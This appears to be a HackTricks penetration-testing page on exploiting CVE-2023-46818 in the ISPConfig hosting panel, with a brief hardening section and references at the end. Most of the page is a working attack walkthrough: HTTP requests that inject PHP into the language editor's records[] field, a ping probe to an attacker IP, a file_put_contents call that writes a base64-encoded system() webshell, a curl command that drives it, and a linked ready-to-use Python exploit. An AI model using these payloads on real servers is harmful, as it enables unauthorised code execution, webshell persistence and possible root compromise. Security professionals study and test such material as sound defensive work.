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108 lines
3.8 KiB
Markdown
108 lines
3.8 KiB
Markdown
# ISPConfig
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{{#include ../../banners/hacktricks-training.md}}
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## Overview
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ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation.
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Key default paths:
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- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
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- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
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Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
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```bash
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ssh -L 9001:127.0.0.1:8080 user@target
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# then browse http://127.0.0.1:9001
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```
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## Language editor PHP code injection (CVE-2023-46818)
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- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
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- Preconditions:
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- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
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- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
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- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
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References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
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### Manual exploitation flow
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1) Open/create a language file to obtain CSRF tokens
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Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
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2) Inject PHP via records[] and save
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Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
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```http
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POST /admin/language_edit.php HTTP/1.1
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Host: 127.0.0.1:9001
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Content-Type: application/x-www-form-urlencoded
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Cookie: ispconfig_auth=...
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lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
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```
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Out-of-band test (observe ICMP):
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```http
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records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
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```
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3) Write files and drop a webshell
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Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`):
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```http
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records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
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```
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Then write a simple webshell using base64 to avoid bad characters in the POST body:
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```http
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records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
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```
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Use it:
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```bash
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curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
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```
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If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
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### Python PoC
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A ready-to-use exploit automates token handling and payload delivery:
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- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
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Example run:
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```bash
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python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
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```
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### Hardening
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- Upgrade to 3.2.11p1 or later
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- Disable the language editor unless strictly needed:
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```
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admin_allow_langedit=no
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```
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- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges
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- Enforce strong authentication for the built-in `admin` account
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## References
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- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
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- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
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- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
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- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
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